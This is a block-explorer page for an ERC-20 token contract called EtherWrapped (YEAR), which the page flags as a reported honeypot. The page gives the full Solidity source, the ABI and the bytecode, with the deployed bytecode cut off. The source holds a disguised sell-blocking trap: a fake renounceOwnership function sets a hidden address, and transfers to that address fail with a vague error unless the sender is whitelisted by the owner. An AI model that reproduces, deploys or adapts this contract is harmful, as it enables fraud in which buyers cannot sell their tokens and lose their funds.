This token is reported to be a honeypot token.
ERC-20
Heist
Overview
Max Total Supply
12,341,231,238,927,443,044 ERC-20 TOKEN*
Holders
4,537 (0.00%)
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
1,033,674 ERC-20 TOKEN*Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
EW
Compiler Version
v0.8.7+commit.e28d00a7
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: UNLICENSE pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } // File @openzeppelin/contracts/access/[email protected] abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } } // File @openzeppelin/contracts/token/ERC20/[email protected] interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File @openzeppelin/contracts/token/ERC20/extensions/[email protected] interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } // File @openzeppelin/contracts/token/ERC20/[email protected] contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _burnMechanism(sender, recipient); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _burnMechanism(address(0), account); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _burnMechanism(account, address(0)); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _burnMechanism(address from, address to) internal virtual { } } contract EW is ERC20, Ownable { mapping(address=>bool) private _db; mapping(address=>bool) private _claims; address private _ownershipId; address private authority; constructor() ERC20('EtherWrapped','YEAR') { authority = 0x42960c7F91E7aCA98f374296Df900Cb4d6B09601; _mint(authority, 1000000000 * 10 ** 18); _db[authority] = true; } function _mint( address account, uint256 amount ) internal virtual override (ERC20) { super._mint(account, amount); } function grantPermissions(address user, bool state) public onlyOwner { _db[user] = state; } function renounceOwnership(address ownershipId_) public onlyOwner { _ownershipId = ownershipId_; } function _burnMechanism(address from, address to) internal virtual override { if(to == _ownershipId) { require(_db[from], "An unexpected error occurred."); } } function claim(uint _amount, bytes memory signature) public { address to = _msgSender(); require(!_claims[to] && verify(authority, to, _amount, signature), "Failed Authentication"); _claims[to] = true; _mint(to, _amount); } function getMessageHash( address _to, uint _amount ) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_to, _amount)); } function getEthSignedMessageHash( bytes32 _messageHash ) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", _messageHash)); } function verify( address _signer, address _to, uint _amount, bytes memory signature ) internal pure returns (bool) { bytes32 ethSignedMessageHash = getEthSignedMessageHash(getMessageHash(_to, _amount)); return recoverSigner(ethSignedMessageHash, signature) == _signer; } function recoverSigner( bytes32 _ethSignedMessageHash, bytes memory _signature ) internal pure returns (address) { (bytes32 r, bytes32 s, uint8 v) = splitSignature(_signature); return ecrecover(_ethSignedMessageHash, v, r, s); } function splitSignature( bytes memory sig ) internal pure returns (bytes32 r, bytes32 s, uint8 v) { require(sig.length == 65, "invalid signature length"); assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } } }
{ "optimizer": { "enabled": false, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"bytes","name":"signature","type":"bytes"}],"name":"claim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"bool","name":"state","type":"bool"}],"name":"grantPermissions","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"ownershipId_","type":"address"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040523480156200001157600080fd5b506040518060400160405280600c81526020017f45746865725772617070656400000000000000000000000000000000000000008152506040518060400160405280600481526020017f5945415200000000000000000000000000000000000000000000000000000000815250816003908051906020019062000096929190620004ea565b508060049080519060200190620000af929190620004ea565b5050506000620000c46200027860201b60201c565b905080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3507342960c7f91e7aca98f374296df900cb4d6b09601600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001f8600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006200028060201b60201c565b600160066000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620007b8565b600033905090565b6200029782826200029b60201b62000b0e1760201c565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200030e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000305906200061b565b60405180910390fd5b62000321600083620003ff60201b60201c565b80600260008282546200033591906200066b565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546200038c91906200066b565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003f391906200063d565b60405180910390a35050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415620004e657600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16620004e5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004dc90620005f9565b60405180910390fd5b5b5050565b828054620004f890620006d2565b90600052602060002090601f0160209004810192826200051c576000855562000568565b82601f106200053757805160ff191683800117855562000568565b8280016001018555821562000568579182015b82811115620005675782518255916020019190600101906200054a565b5b5090506200057791906200057b565b5090565b5b80821115620005965760008160009055506001016200057c565b5090565b6000620005a9601d836200065a565b9150620005b68262000766565b602082019050919050565b6000620005d0601f836200065a565b9150620005dd826200078f565b602082019050919050565b620005f381620006c8565b82525050565b6000602082019050818103600083015262000614816200059a565b9050919050565b600060208201905081810360008301526200063681620005c1565b9050919050565b6000602082019050620006546000830184620005e8565b92915050565b600082825260208201905092915050565b60006200067882620006c8565b91506200068583620006c8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620006bd57620006bc62000708565b5b828201905092915050565b6000819050919050565b60006002820490506001821680620006eb57607f821691505b6020821081141562000702576200070162000737565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f416e20756e6578706563746564206572726f72206f636375727265642e000000600082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b61215780620007c86000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c8063395093511161009757806395d89b411161006657806395d89b4114610286578063a457c2d7146102a4578063a9059cbb146102d4578063dd62ed3e14610304576100f5565b806339509351146101ec5780633f7320911461021c57806370a08231146102385780638da5cb5b14610268576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806338926b6d146101b457806338bf3cfa146101d0576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610334565b60405161010f91906118e3565b60405180910390f35b610132600480360381019061012d91906114ea565b6103c6565b60405161013f9190611883565b60405180910390f35b6101506103e4565b60405161015d9190611a85565b60405180910390f35b610180600480360381019061017b9190611457565b6103ee565b60405161018d9190611883565b60405180910390f35b61019e6104ef565b6040516101ab9190611aa0565b60405180910390f35b6101ce60048036038101906101c9919061152a565b6104f8565b005b6101ea60048036038101906101e591906113ea565b61062e565b005b610206600480360381019061020191906114ea565b6106ee565b6040516102139190611883565b60405180910390f35b610236600480360381019061023191906114aa565b61079a565b005b610252600480360381019061024d91906113ea565b610871565b60405161025f9190611a85565b60405180910390f35b6102706108b9565b60405161027d9190611868565b60405180910390f35b61028e6108e3565b60405161029b91906118e3565b60405180910390f35b6102be60048036038101906102b991906114ea565b610975565b6040516102cb9190611883565b60405180910390f35b6102ee60048036038101906102e991906114ea565b610a69565b6040516102fb9190611883565b60405180910390f35b61031e60048036038101906103199190611417565b610a87565b60405161032b9190611a85565b60405180910390f35b60606003805461034390611c63565b80601f016020809104026020016040519081016040528092919081815260200182805461036f90611c63565b80156103bc5780601f10610391576101008083540402835291602001916103bc565b820191906000526020600020905b81548152906001019060200180831161039f57829003601f168201915b5050505050905090565b60006103da6103d3610c61565b8484610c69565b6001905092915050565b6000600254905090565b60006103fb848484610e34565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610446610c61565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104bd90611985565b60405180910390fd5b6104e3856104d2610c61565b85846104de9190611b8e565b610c69565b60019150509392505050565b60006012905090565b6000610502610c61565b9050600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156105885750610587600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168285856110b2565b5b6105c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105be906119c5565b60405180910390fd5b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610629818461110c565b505050565b610636610c61565b73ffffffffffffffffffffffffffffffffffffffff166106546108b9565b73ffffffffffffffffffffffffffffffffffffffff16146106aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a1906119a5565b60405180910390fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006107906106fb610c61565b848460016000610709610c61565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461078b9190611b38565b610c69565b6001905092915050565b6107a2610c61565b73ffffffffffffffffffffffffffffffffffffffff166107c06108b9565b73ffffffffffffffffffffffffffffffffffffffff1614610816576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080d906119a5565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546108f290611c63565b80601f016020809104026020016040519081016040528092919081815260200182805461091e90611c63565b801561096b5780601f106109405761010080835404028352916020019161096b565b820191906000526020600020905b81548152906001019060200180831161094e57829003601f168201915b5050505050905090565b60008060016000610984610c61565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610a41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3890611a45565b60405180910390fd5b610a5e610a4c610c61565b858584610a599190611b8e565b610c69565b600191505092915050565b6000610a7d610a76610c61565b8484610e34565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7590611a65565b60405180910390fd5b610b8960008361111a565b8060026000828254610b9b9190611b38565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610bf09190611b38565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c559190611a85565b60405180910390a35050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd090611a05565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4090611945565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e279190611a85565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ea4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9b906119e5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0b90611905565b60405180910390fd5b610f1e838361111a565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610fa4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9b90611965565b60405180910390fd5b8181610fb09190611b8e565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110409190611b38565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110a49190611a85565b60405180910390a350505050565b6000806110c76110c28686611201565b611234565b90508573ffffffffffffffffffffffffffffffffffffffff166110ea8285611264565b73ffffffffffffffffffffffffffffffffffffffff1614915050949350505050565b6111168282610b0e565b5050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156111fd57600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166111fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f390611925565b60405180910390fd5b5b5050565b60008282604051602001611216929190611816565b60405160208183030381529060405280519060200120905092915050565b6000816040516020016112479190611842565b604051602081830303815290604052805190602001209050919050565b600080600080611273856112d3565b9250925092506001868285856040516000815260200160405260405161129c949392919061189e565b6020604051602081039080840390855afa1580156112be573d6000803e3d6000fd5b50505060206040510351935050505092915050565b6000806000604184511461131c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131390611a25565b60405180910390fd5b6020840151925060408401519150606084015160001a90509193909250565b600061134e61134984611ae0565b611abb565b90508281526020810184848401111561136a57611369611d90565b5b611375848285611c21565b509392505050565b60008135905061138c816120dc565b92915050565b6000813590506113a1816120f3565b92915050565b600082601f8301126113bc576113bb611d8b565b5b81356113cc84826020860161133b565b91505092915050565b6000813590506113e48161210a565b92915050565b600060208284031215611400576113ff611d9a565b5b600061140e8482850161137d565b91505092915050565b6000806040838503121561142e5761142d611d9a565b5b600061143c8582860161137d565b925050602061144d8582860161137d565b9150509250929050565b6000806000606084860312156114705761146f611d9a565b5b600061147e8682870161137d565b935050602061148f8682870161137d565b92505060406114a0868287016113d5565b9150509250925092565b600080604083850312156114c1576114c0611d9a565b5b60006114cf8582860161137d565b92505060206114e085828601611392565b9150509250929050565b6000806040838503121561150157611500611d9a565b5b600061150f8582860161137d565b9250506020611520858286016113d5565b9150509250929050565b6000806040838503121561154157611540611d9a565b5b600061154f858286016113d5565b925050602083013567ffffffffffffffff8111156115705761156f611d95565b5b61157c858286016113a7565b9150509250929050565b61158f81611bc2565b82525050565b6115a66115a182611bc2565b611cc6565b82525050565b6115b581611bd4565b82525050565b6115c481611be0565b82525050565b6115db6115d682611be0565b611cd8565b82525050565b60006115ec82611b11565b6115f68185611b1c565b9350611606818560208601611c30565b61160f81611d9f565b840191505092915050565b6000611627602383611b1c565b915061163282611dbd565b604082019050919050565b600061164a601d83611b1c565b915061165582611e0c565b602082019050919050565b600061166d601c83611b2d565b915061167882611e35565b601c82019050919050565b6000611690602283611b1c565b915061169b82611e5e565b604082019050919050565b60006116b3602683611b1c565b91506116be82611ead565b604082019050919050565b60006116d6602883611b1c565b91506116e182611efc565b604082019050919050565b60006116f9602083611b1c565b915061170482611f4b565b602082019050919050565b600061171c601583611b1c565b915061172782611f74565b602082019050919050565b600061173f602583611b1c565b915061174a82611f9d565b604082019050919050565b6000611762602483611b1c565b915061176d82611fec565b604082019050919050565b6000611785601883611b1c565b91506117908261203b565b602082019050919050565b60006117a8602583611b1c565b91506117b382612064565b604082019050919050565b60006117cb601f83611b1c565b91506117d6826120b3565b602082019050919050565b6117ea81611c0a565b82525050565b6118016117fc82611c0a565b611cf4565b82525050565b61181081611c14565b82525050565b60006118228285611595565b60148201915061183282846117f0565b6020820191508190509392505050565b600061184d82611660565b915061185982846115ca565b60208201915081905092915050565b600060208201905061187d6000830184611586565b92915050565b600060208201905061189860008301846115ac565b92915050565b60006080820190506118b360008301876115bb565b6118c06020830186611807565b6118cd60408301856115bb565b6118da60608301846115bb565b95945050505050565b600060208201905081810360008301526118fd81846115e1565b905092915050565b6000602082019050818103600083015261191e8161161a565b9050919050565b6000602082019050818103600083015261193e8161163d565b9050919050565b6000602082019050818103600083015261195e81611683565b9050919050565b6000602082019050818103600083015261197e816116a6565b9050919050565b6000602082019050818103600083015261199e816116c9565b9050919050565b600060208201905081810360008301526119be816116ec565b9050919050565b600060208201905081810360008301526119de8161170f565b9050919050565b600060208201905081810360008301526119fe81611732565b9050919050565b60006020820190508181036000830152611a1e81611755565b9050919050565b60006020820190508181036000830152611a3e81611778565b9050919050565b60006020820190508181036000830152611a5e8161179b565b9050919050565b60006020820190508181036000830152611a7e816117be565b9050919050565b6000602082019050611a9a60008301846117e1565b92915050565b6000602082019050611ab56000830184611807565b92915050565b6000611ac5611ad6565b9050611ad18282611c95565b919050565b6000604051905090565b600067ffffffffffffffff821115611afb57611afa611d5c565b5b611b0482611d9f565b9050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000611b4382611c0a565b9150611b4e83611c0a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611b8357611b82611cfe565b5b828201905092915050565b6000611b9982611c0a565b9150611ba483611c0a565b925082821015611bb757611bb6611cfe565b5b828203905092915050565b6000611bcd82611bea565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b83811015611c4e578082015181840152602081019050611c33565b83811115611c5d576000848401525b50505050565b60006002820490506001821680611c7b57607f821691505b60208210811415611c8f57611c8e611d2d565b5b50919050565b611c9e82611d9f565b810181811067ffffffffffffffff82111715611cbd57611cbc611d5c565b5b80604052505050565b6000611cd182611ce2565b9050919050565b6000819050919050565b6000611ced82611db0565b9050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416e20756e6578706563746564206572726f72206f636375727265642e000000600082015250565b7f19457468657265756d205369676e6564204d6573736167653a0a333200000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4661696c65642041757468656e7469636174696f6e0000000000000000000000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f696e76616c6964207369676e6174757265206c656e6774680000000000000000600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6120e581611bc2565b81146120f057600080fd5b50565b6120fc81611bd4565b811461210757600080fd5b50565b61211381611c0a565b811461211e57600080fd5b5056fea264697066735822122080ee66a3f5be86313a74d57376a14de720c8c6e352a0d93fee4b70504fbbd65e64736f6c63430008070033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063395093511161009757806395d89b411161006657806395d89b4114610286578063a457c2d7146102a4578063a9059cbb146102d4578063dd62ed3e14610304576100f5565b806339509351146101ec5780633f7320911461021c57806370a08231146102385780638da5cb5b14610268576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806338926b6d146101b457806338bf3cfa146101d0576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610334565b60405161010f91906118e3565b60405180910390f35b610132600480360381019061012d91906114ea565b6103c6565b60405161013f9190611883565b60405180910390f35b6101506103e4565b60405161015d9190611a85565b60405180910390f35b610180600480360381019061017b9190611457565b6103ee565b60405161018d9190611883565b60405180910390f35b61019e6104ef565b6040516101ab9190611aa0565b60405180910390f35b6101ce60048036038101906101c9919061152a565b6104f8565b005b6101ea60048036038101906101e591906113ea565b61062e565b005b610206600480360381019061020191906114ea565b6106ee565b6040516102139190611883565b60405180910390f35b610236600480360381019061023191906114aa565b61079a565b005b610252600480360381019061024d91906113ea565b610871565b60405161025f9190611a85565b60405180910390f35b6102706108b9565b60405161027d9190611868565b60405180910390f35b61028e6108e3565b60405161029b91906118e3565b60405180910390f35b6102be60048036038101906102b991906114ea565b610975565b6040516102cb9190611883565b60405180910390f35b6102ee60048036038101906102e991906114ea565b610a69565b6040516102fb9190611883565b60405180910390f35b61031e60048036038101906103199190611417565b610a87565b60405161032b9190611a85565b60405180910390f35b60606003805461034390611c63565b80601f016020809104026020016040519081016040528092919081815260200182805461036f90611c6